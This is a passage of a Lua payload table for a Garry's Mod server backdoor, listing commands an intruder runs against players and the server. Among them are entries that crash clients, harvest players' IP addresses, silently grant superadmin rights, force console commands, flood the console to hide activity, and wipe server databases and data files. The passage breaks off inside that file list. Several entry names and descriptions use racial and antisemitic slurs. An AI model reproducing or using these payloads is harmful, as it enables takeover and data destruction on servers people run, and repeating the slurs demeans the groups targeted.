1191 ["Desc"] = "Drugz Mod but your screen is now fucking cancer-free",
1192
1193 },
1194
1195
1196
1197 ["Play Rave Music"] = {
1198
1199 ["Type"] = 2,
1200
1201 ["Code"] = [[
1202
1203 BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
1204
1205 ]],
1206
1207 ["Desc"] = "Just incase your party is getting boring make sure you play this for some HL1 remix fun",
1208
1209 },
1210
1211
1212
1213 ["Whisper into the chat"] = {
1214
1215 ["Type"] = 2,
1216
1217 ["Code"] = [[v:ChatPrint( @1 )]],
1218
1219 ["Desc"] = "Anonymously whisper text into their chatbox (1st paremeter)",
1220
1221 ["NeedsParameters"] = 1,
1222
1223 },
1224
1225
1226
1227 ["Whisper colorful (advanced)"] = {
1228
1229 ["Type"] = 2,
1230
1231 ["Code"] = [[
1232
1233 BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )
1234
1235 ]],
1236
1237 ["Desc"] = "Anonymously whisper coloured text into their chatbox (1st paremeter = text, 2nd = r, 3rd = g, 4th = b)",
1238
1239 ["NeedsParameters"] = 1,
1240
1241 },
1242
1243
1244
1245 ["Burn the fuckers"] = {
1246
1247 ["Type"] = 2,
1248
1249 ["Code"] = [[v:Ignite( 300 )]],
1250
1251 ["Desc"] = "Burn and cremate the people for 300 seconds for some roasting",
1252
1253 },
1254
1255
1256
1257 ["Toggle godmode 'NO ULX'"] = {
1258
1259 ["Type"] = 2,
1260
1261 ["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
1262
1263 ["Desc"] = "Toggles godmode to people, Making them invisible and cant die",
1264
1265 },
1266
1267
1268
1269 ["Freeze there screen (WARNING)"] = {
1270
1271 ["Type"] = 2,
1272
1273 ["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
1274
1275 ["Desc"] = "Press this to one of the players and there fucking game won't be functional anymore, Now they have to FORCE RESTART",
1276
1277 },
1278
1279
1280
1281 ["Toggle the speedhack"] = {
1282
1283 ["Type"] = 2,
1284
1285 ["Code"] = [[if !v.Sanic then v:SetRunSpeed( 2000 ) v:SetWalkSpeed(1000) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
1286
1287 ["Desc"] = "Your like sanic! But when you run, you run EXTREMELY SANIC",
1288
1289 },
1290
1291
1292
1293 ["Freeze/Unfreeze the player"] = {
1294
1295 ["Type"] = 2,
1296
1297 ["Code"] = [[v:Freeze( !v:IsFrozen() )]],
1298
1299 ["Desc"] = "Freeze's the player, Causing the movements to be stuck, Click the button again to unfreeze the player",
1300
1301 },
1302
1303
1304
1305 ["Make the player say something"] = {
1306
1307 ["Type"] = 2,
1308
1309 ["Code"] = [[v:Say(@1)]],
1310
1311 ["Desc"] = "Forces them to say the specified string in chat (first parameter)",
1312
1313 ["NeedsParameters"] = 1,
1314
1315 },
1316
1317
1318
1319
1320
1321 ["Force concommand on player"] = {
1322
1323 ["Type"] = 2,
1324
1325 ["Code"] = [[v:ConCommand(@1)]],
1326
1327 ["Desc"] = "Forces them to run the specified console command (first parameter)",
1328
1329 ["NeedsParameters"] = 1,
1330
1331 },
1332
1333
1334
1335 ["Grab IP (DANGER)"] = {
1336
1337 ["Type"] = 2,
1338
1339 ["Code"] = [[ for _, p in pairs(player.GetAll()) do if %LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],
1340
1341 ["Desc"] = "Prints and grabs peoples IP Address in the console, Please do not attempt to ddos anyone or leak there IP Address, thats so easy now indays",
1342
1343 },
1344
1345
1346
1347
1348
1349 ["DarkRP add/remove money to the player"] = {
1350
1351 ["Type"] = 2,
1352
1353 ["Code"] = [[v:addMoney(@1)]],
1354
1355 ["Desc"] = "Adds money to their wallet (first parameter) remember that you can use negative numbers to subtract money",
1356
1357 ["NeedsParameters"] = 1,
1358
1359 },
1360
1361
1362
1363 ["DarkRP set force job to player"] = {
1364
1365 ["Type"] = 2,
1366
1367 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
1368
1369 ["Desc"] = "Change their DarkRP Job to the specified job (1st parameter = job name, does not require capitalization)",
1370
1371 ["NeedsParameters"] = 1,
1372
1373 },
1374
1375
1376
1377 ["Force team switch on the player"] = {
1378
1379 ["Type"] = 2,
1380
1381 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
1382
1383 ["Desc"] = "Change their team to the specified team name without using DarkRP (1st parameter)",
1384
1385 ["NeedsParameters"] = 1,
1386
1387 },
1388
1389
1390
1391 ["Activate Noclip on the player"] = {
1392
1393 ["Type"] = 2,
1394
1395 ["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
1396
1397 ["Desc"] = "Toggles noclip on the specified players so they can freely move around and fly",
1398
1399 },
1400
1401
1402
1403 ["Give a weapon to the player"] = {
1404
1405 ["Type"] = 2,
1406
1407 ["Code"] = [[v:Give( @1 )]],
1408
1409 ["Desc"] = "Gives the player a weapon or a swep, Ex: weapon_smg1 (first parameter)",
1410
1411 ["NeedsParameters"] = 1,
1412
1413 },
1414
1415
1416
1417 ["Give ammo to player"] = {
1418
1419 ["Type"] = 2,
1420
1421 ["Code"] = [[v:GiveAmmo( @1, @2, false )]],
1422
1423 ["Desc"] = "Gives this player ammo, (first parameter = amount of ammo, secound parameter = ammo type)",
1424
1425 ["NeedsParameters"] = 2,
1426
1427 },
1428
1429
1430
1431 ["Teleport (them to your cursor)"] = {
1432
1433 ["Type"] = 2,
1434
1435 ["Code"] = [[
1436
1437 local tp = false
1438
1439 local tpos
1440
1441 for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
1442
1443 if tp then v:SetPos( tpos ) end
1444
1445 ]],
1446
1447 ["Desc"] = "Teleports the specfied player to your cursor, Or where your cursor is pointing at, Dont try bring 10 people though",
1448
1449 },
1450
1451
1452
1453 ["Teleport (you to them)"] = {
1454
1455 ["Type"] = 2,
1456
1457 ["Code"] = [[
1458
1459 local tp = false
1460
1461 local tpos = v:GetPos() + Vector( 32, 0, 10)
1462
1463 for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
1464
1465 ]],
1466
1467 ["Desc"] = "Teleport yourself to the selected player, Dont attempt to teleport them into a nearby wall, Just saying",
1468
1469 },
1470
1471
1472
1473 ["Teleport (blink)"] = {
1474
1475 ["Type"] = 2,
1476
1477 ["Code"] = [[
1478
1479 local tpos = v:GetEyeTraceNoCursor().HitPos
1480
1481 v:SetPos( tpos )
1482
1483 ]],
1484
1485 ["Desc"] = "Use on yourself or others to warp them to where they are looking",
1486
1487 },
1488
1489
1490
1491 ["Spawn a entity near the player"] = {
1492
1493 ["Type"] = 2,
1494
1495 ["Code"] = [[
1496
1497 local tr = {}
1498
1499 tr.start = v:GetShootPos()
1500
1501 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1502
1503 tr.filter = {v}
1504
1505 local trace = util.TraceLine(tr)
1506
1507 local dix = ents.Create( @1 )
1508
1509 dix:SetPos(trace.HitPos)
1510
1511 dix:SetAngles(Angle(0,0,0))
1512
1513 dix:Spawn()
1514
1515 ]],
1516
1517 ["Desc"] = "Spawns an entity in front of this player (first parameter = entity class), cannot spawn cars!",
1518
1519 ["NeedsParameters"] = 1,
1520
1521 },
1522
1523
1524
1525 ["Spawn a prop near the player"] = {
1526
1527 ["Type"] = 2,
1528
1529 ["Code"] = [[
1530
1531 local tr = {}
1532
1533 tr.start = v:GetShootPos()
1534
1535 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1536
1537 tr.filter = {v}
1538
1539 local trace = util.TraceLine(tr)
1540
1541 local dix = ents.Create( "prop_physics" )
1542
1543 dix:SetPos(trace.HitPos)
1544
1545 dix:SetAngles(Angle(0,0,0))
1546
1547 dix:SetModel( @1 )
1548
1549 dix:Spawn()
1550
1551 ]],
1552
1553 ["Desc"] = "Spawns a world prop in front of this player, Ex: models/props_c17/oildrum001.mdl (first parameter = model)",
1554
1555 ["NeedsParameters"] = 1,
1556
1557 },
1558
1559
1560
1561 ["Spawn cheatgomebd shrine"] = {
1562
1563 ["Type"] = 2,
1564
1565 ["Code"] = [[
1566
1567 local tr = {}
1568
1569 tr.start = v:GetShootPos()
1570
1571 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1572
1573 tr.filter = {v}
1574
1575 local trace = util.TraceLine(tr)
1576
1577 local dix = ents.Create( "prop_physics" )
1578
1579 dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )
1580
1581 dix:SetAngles( v:GetAngles() )
1582
1583 dix:SetModel( "models/props_c17/gravestone_cross001a.mdl" )
1584
1585 dix:Spawn()
1586
1587 dix:SetMoveType( MOVETYPE_NONE )
1588
1589 dix:SetMaterial( "models/shiny" )
1590
1591 dix:SetColor( Color( 0, 0, 40 ) )
1592
1593
1594
1595 local function ecr( parent, model, pos, ang, col, mat )
1596
1597 local dix = ents.Create( "prop_physics" )
1598
1599 dix:SetPos( parent:LocalToWorld( pos ) )
1600
1601 dix:SetAngles( parent:LocalToWorldAngles( ang ) )
1602
1603 dix:SetModel( model )
1604
1605 dix:SetParent( parent )
1606
1607 dix:Spawn()
1608
1609 dix:SetColor( col )
1610
1611 dix:SetMaterial( mat )
1612
1613 end
1614
1615
1616
1617 ecr( dix, "models/props_c17/gravestone_coffinpiece001a.mdl", Vector( -65, 0, -60 ), Angle( 0, 180, 0 ), Color( 40, 40, 80 ), "models/shiny" )
1618
1619 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 18, 35 ), Angle( 0, 0, 0 ), Color( 80, 80, 180 ), "models/shiny" )
1620
1621 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 6, 65 ), Angle( 0, 0, 90 ), Color( 80, 80, 180 ), "models/shiny" )
1622
1623 ecr( dix, "models/hunter/blocks/cube025x150x025.mdl", Vector( -5, 71, 100 ), Angle( 0, 0, 90 ), Color( 80, 80, 180 ), "models/shiny" )
1624
1625 ecr( dix, "models/hunter/blocks/cube025x150x025.mdl", Vector( -5, -59, 100 ), Angle( 0, 0, 90 ), Color( 80, 80, 180 ), "models/shiny" )
1626
1627
1628
1629 for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(200, 200, 255 ), "Get seized by cheatgome lool xD")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end
1630
1631
1632
1633 ]],
1634
1635 ["Desc"] = "Spawns a world prop in front of this player with hell (first parameter = model)",
1636
1637 },
1638
1639
1640
1641
1642
1643
1644
1645 ["Spawn evil npc near player"] = {
1646
1647 ["Type"] = 2,
1648
1649 ["Code"] = [[
1650
1651 local tr = {}
1652
1653 tr.start = v:GetShootPos()
1654
1655 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1656
1657 tr.filter = {v}
1658
1659 local trace = util.TraceLine(tr)
1660
1661 local dix = ents.Create( "npc_citizen" )
1662
1663 dix:SetPos(trace.HitPos)
1664
1665 dix:SetAngles(Angle(0,0,0))
1666
1667 dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
1668
1669 dix:SetKeyValue( "citizentype", 3 )
1670
1671 dix:AddRelationship("player D_HT 200")
1672
1673 dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
1674
1675 dix:SetSchedule( SCHED_IDLE_WANDER )
1676
1677 dix:Spawn()
1678
1679 ]],
1680
1681 ["Desc"] = "Spawn a hostile NPC in front of this player, The NPC will be triggered so be careful",
1682
1683 },
1684
1685
1686
1687 ["Death ray or vaporize"] = {
1688
1689 ["Type"] = 2,
1690
1691 ["Code"] = [[
1692
1693 local trace = v:GetEyeTraceNoCursor()
1694
1695 if trace.Entity:IsValid() then trace.Entity:Remove() end
1696
1697 ]],
1698
1699 ["Desc"] = "Vaporize whatever this player is looking at which is obviously average",
1700
1701 },
1702
1703
1704
1705 ["Death ray (explosive)"] = {
1706
1707 ["Type"] = 2,
1708
1709 ["Code"] = [[
1710
1711 local trace = v:GetEyeTraceNoCursor()
1712
1713 local explo = ents.Create("env_explosion")
1714
1715 explo:SetPos(trace.HitPos)
1716
1717 explo:SetKeyValue("iMagnitude", "250")
1718
1719 explo:Spawn()
1720
1721 explo:Activate()
1722
1723 explo:Fire("Explode", "", 0)
1724
1725 ]],
1726
1727 ["Desc"] = "Blow up at least 10 bombs at the players cursor for insanely",
1728
1729 },
1730
1731
1732
1733 ["Precise Artillery Strike"] = {
1734
1735 ["Type"] = 2,
1736
1737 ["Code"] = [[
1738
1739 local trace = v:GetEyeTraceNoCursor()
1740
1741 timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-9999, 99999), 0.2, 15, function()
1742
1743 local explo = ents.Create("env_explosion")
1744
1745 explo:SetPos(trace.HitPos + Vector( math.random( -500, 500), math.random( -500, 500), math.random( -500, 500) ) )
1746
1747 explo:SetKeyValue("iMagnitude", "250")
1748
1749 explo:Spawn()
1750
1751 explo:Activate()
1752
1753 explo:Fire("Explode", "", 0)
1754
1755 end)
1756
1757 ]],
1758
1759 ["Desc"] = "Blow the fuck up where the players looking at a lot",
1760
1761 },
1762
1763
1764
1765 ["Woman Driver"] = {
1766
1767 ["Type"] = 2,
1768
1769 ["Code"] = [[
1770
1771 local trace = v:GetEyeTraceNoCursor()
1772
1773 local car = ents.Create("prop_physics")
1774
1775 local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
1776
1777 car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
1778
1779 car:SetAngles( v:GetAngles() )
1780
1781 car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
1782
1783 car:Spawn()
1784
1785 car:Activate()
1786
1787 car.boom = 6
1788
1789 car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
1790
1791 car:Ignite( 500 )
1792
1793 car:AddCallback( "PhysicsCollide", function( car, dat )
1794
1795 local explo = ents.Create("env_explosion")
1796
1797 explo:SetPos( car:GetPos() )
1798
1799 explo:SetKeyValue("iMagnitude", "350")
1800
1801 explo:Spawn()
1802
1803 explo:Activate()
1804
1805 explo:Fire("Explode", "", 0)
1806
1807 local ef = EffectData()
1808
1809 ef:SetOrigin( car:GetPos() )
1810
1811 ef:SetMagnitude( 5 )
1812
1813 ef:SetScale( 200 )
1814
1815 util.Effect( "ThumperDust", ef )
1816
1817 car.boom = car.boom - 1
1818
1819 if car.boom < 0 then car:Remove() end
1820
1821 end )
1822
1823 timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
1824
1825 ]],
1826
1827 ["Desc"] = "Watch out, The cars are gonna slam your fucking head humper!",
1828
1829 },
1830
1831
1832
1833
1834
1835
1836
1837 ["Poison Gas"] = {
1838
1839 ["Type"] = 2,
1840
1841 ["Code"] = [[
1842
1843 local trace = v:GetEyeTraceNoCursor()
1844
1845 local ar2Explo = ents.Create("env_ar2explosion")
1846
1847 ar2Explo:SetOwner(game.GetWorld())
1848
1849 local p = trace.HitPos
1850
1851 ar2Explo:SetPos(trace.HitPos)
1852
1853 ar2Explo:Spawn()
1854
1855 ar2Explo:Activate()
1856
1857 ar2Explo:Fire("Explode", "", 0)
1858
1859 timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
1860
1861 for _, ent in pairs(ents.FindInSphere( p, 500)) do
1862
1863 if !ent:IsPlayer() then continue end
1864
1865 local d = DamageInfo()
1866
1867 d:SetDamage( 1 )
1868
1869 d:SetAttacker( game.GetWorld() )
1870
1871 d:SetInflictor( game.GetWorld() )
1872
1873 d:SetDamageType( DMG_DROWN )
1874
1875 ent:TakeDamageInfo( d )
1876
1877 end
1878
1879 end)
1880
1881
1882
1883 ]],
1884
1885 ["Desc"] = "Drown everyone so they give up and die from oxygen xD",
1886
1887 },
1888
1889
1890
1891
1892
1893 ["Spawn a vehicle near the player"] = {
1894
1895 ["Type"] = 2,
1896
1897 ["Code"] = [[
1898
1899 local trc = {}
1900
1901 trc.start = v:GetShootPos()
1902
1903 trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1904
1905 trc.filter = {v}
1906
1907 local tr = util.TraceLine(trc)
1908
1909
1910
1911 local VehicleList = list.Get( "Vehicles" )
1912
1913 local vehicle = VehicleList[ @1 ]
1914
1915 if ( !vehicle ) then return end
1916
1917 local Angles = v:GetAngles()
1918
1919 Angles.pitch = 0
1920
1921 Angles.roll = 0
1922
1923 Angles.yaw = Angles.yaw + 180
1924
1925
1926
1927 local pos = tr.HitPos
1928
1929 if ( vehicle.Offset ) then
1930
1931 pos = pos + tr.HitNormal * vehicle.Offset
1932
1933 end
1934
1935 local Ent = ents.Create( vehicle.Class )
1936
1937 if ( !Ent ) then return end
1938
1939 duplicator.DoGeneric( Ent, vehicle )
1940
1941 if ( vehicle.Model == "models/buggy.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end
1942
1943 if ( vehicle.Model == "models/vehicle.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end
1944
1945 if ( vehicle && vehicle.KeyValues ) then
1946
1947 for k, v in pairs( vehicle.KeyValues ) do
1948
1949 Ent:SetKeyValue( k, v )
1950
1951 end
1952
1953 end
1954
1955 Ent:SetModel( vehicle.Model )
1956
1957 Ent:SetAngles( Angles )
1958
1959 Ent:SetPos( pos )
1960
1961 Ent:Spawn()
1962
1963 Ent:Activate()
1964
1965 if ( Ent.SetVehicleClass && @1 ) then Ent:SetVehicleClass( @1 ) end
1966
1967 Ent.VehicleName = vehicle.Class
1968
1969 Ent.VehicleTable = @1
1970
1971 Ent.ClassOverride = vehicle.Class
1972
1973 ]],
1974
1975 ["Desc"] = "Spawn a vehicle in front of this player (first parameter = vehicle class), don't try to spawn ents with this ya stupid dingus!",
1976
1977 ["NeedsParameters"] = 1,
1978
1979 },
1980
1981
1982
1983 ["Kick the player"] = {
1984
1985 ["Type"] = 2,
1986
1987 ["Code"] = [[ v:Kick( @1 ) ]],
1988
1989 ["Desc"] = "First parameter = reason for kick, Basically it kicks the player without using ULX's one",
1990
1991 },
1992
1993
1994
1995 ["Niggerize or fuck the player's model"] = {
1996
1997 ["Type"] = 2,
1998
1999 ["Code"] = [[ if !v.Niggered then v:SetColor( Color( 0, 0, 0 ) ) v.Niggered = true else v:SetColor( Color(255, 255, 255) ) v.Niggered = false end ]],
2000
2001 ["Desc"] = "There model is so fucked up that you wont able to survive from this environment",
2002
2003 },
2004
2005
2006
2007 ["Cloak player"] = {
2008
2009 ["Type"] = 2,
2010
2011 ["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
2012
2013 ["Desc"] = "Toggles cloaking on the player, people can still see the weapon they are holding however",
2014
2015 },
2016
2017
2018
2019 ["Allahu AckbarAAAAA!!"] = {
2020
2021 ["Type"] = 2,
2022
2023 ["Code"] = [[
2024
2025 local explo = ents.Create("env_explosion")
2026
2027 explo:SetOwner(v)
2028
2029 explo:SetPos(v:GetPos())
2030
2031 explo:SetKeyValue("iMagnitude", "250")
2032
2033 explo:Spawn()
2034
2035 explo:Activate()
2036
2037 explo:Fire("Explode", "", 0)
2038
2039 if v:Alive() then v:Kill() end
2040
2041 ]],
2042
2043 ["Desc"] = "Allahu Meme, Blow's the fuck up, Say goodbye to them for the last second until they turn into ash",
2044
2045 },
2046
2047
2048
2049 ["ULX set access"] = {
2050
2051 ["Type"] = 2,
2052
2053 ["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
2054
2055 ["Desc"] = "If ulx is installed in this server, this will (silently!) set them to the specified usergroup (1st parameter) EX: superadmin",
2056
2057 ["NeedsParameters"] = 1,
2058
2059 },
2060
2061
2062
2063
2064------------------------ custom / new shit ------------------------
2065
2066
2067
2068
2069 ["Africanize"] = {
2070
2071 ["Type"] = 2,
2072
2073 ["Code"] = [[
2074 local bones = {
2075 [1] = {b = "ValveBiped.Bip01_Head1", v = Vector(4,0,4)},
2076 [2] = {b = "ValveBiped.Bip01_R_Thigh", v = Vector(0,0,0)},
2077 [3] = {b = "ValveBiped.Bip01_L_Thigh", v = Vector(0,0,0)},
2078 [4] = {b = "ValveBiped.Bip01_R_Calf", v = Vector(0,0,1)},
2079 [5] = {b = "ValveBiped.Bip01_L_Calf", v = Vector(0,0,1)},
2080 [6] = {b = "ValveBiped.Bip01_R_UpperArm", v = Vector(0,0,0)},
2081 [7] = {b = "ValveBiped.Bip01_L_UpperArm", v = Vector(0,0,0)},
2082 [8] = {b = "ValveBiped.Bip01_R_Forearm", v = Vector(1,1.5,1.5)},
2083 [9] = {b = "ValveBiped.Bip01_L_Forearm", v = Vector(1,1.5,1.5)},
2084 [10] = {b = "ValveBiped.Bip01_R_Clavicle", v = Vector(0,0,0)},
2085 [11] = {b = "ValveBiped.Bip01_L_Clavicle", v = Vector(0,0,0)},
2086 }
2087
2088 if !v.is2D then
2089 v.is2D = true
2090 for k, bone in pairs(bones) do
2091 local boneToFind = v:LookupBone(bone.b)
2092 v:ManipulateBoneScale( boneToFind, bone.v)
2093 end
2094 else
2095 v.is2D = false
2096 for k, bone in pairs(bones) do
2097 local boneToFind = v:LookupBone(bone.b)
2098 v:ManipulateBoneScale( boneToFind, Vector(1,1,1))
2099 end
2100 end
2101 ]],
2102
2103 ["Desc"] = "ALRIGHT YOUR MODELS ARE NOW 2D, Rip peoples model.",
2104
2105 },
2106
2107 ["Blow the shit out of the people using M9K's nuke"] = {
2108
2109 ["Type"] = 2,
2110
2111 ["Code"] = [[
2112// if (m9k) then
2113 local nuke = ents.Create("m9k_davy_crockett_explo")
2114 nuke:SetPos(v:GetPos())
2115 nuke:SetOwner(v)
2116 nuke.Owner = v
2117 nuke:Spawn()
2118 nuke:Activate()
2119// end
2120 ]],
2121
2122 ["Desc"] = "Creates a nuke 'made' by selected user(s) & activates it where they're standing. Requires M9K Special Weapons",
2123
2124 },
2125
2126 ["Clear the console"] = {
2127
2128 ["Type"] = 1,
2129
2130 ["Code"] = [[
2131 if !(timer.Exists("consoleJammer")) then
2132 timer.Create("consoleJammer", 0.5, 0, function()
2133 print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
2134 end )
2135 else
2136 timer.Destroy("consoleJammer")
2137 end
2138 ]],
2139
2140 ["Desc"] = "Spams the server console with blank lines, Very great to hide the secrets",
2141
2142 },
2143
2144 ["Moan steps of sex"] = {
2145
2146 ["Type"] = 1,
2147
2148 ["Code"] = [[
2149 if !(hook.GetTable()["PlayerFootstep"]["moanStep"]) then
2150 hook.Add("PlayerFootstep", "moanStep", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( "vo/npc/female01/pain06.wav",75,math.random( 50, 150 )) end )
2151 else
2152 hook.Remove("PlayerFootstep", "moanStep")
2153 end
2154 ]],
2155
2156 ["Desc"] = "Don't try to make a step, You'll have down syndrome by then, > Plays porn sounds each step.",
2157
2158 },
2159
2160 ["Delete the whole entire fucking server (WARNING)"] = {
2161
2162 ["Type"] = 3,
2163
2164 ["Code"] = [[
2165 local date = os.date( "%m-%d-%y" )
2166 local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
2167 local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", 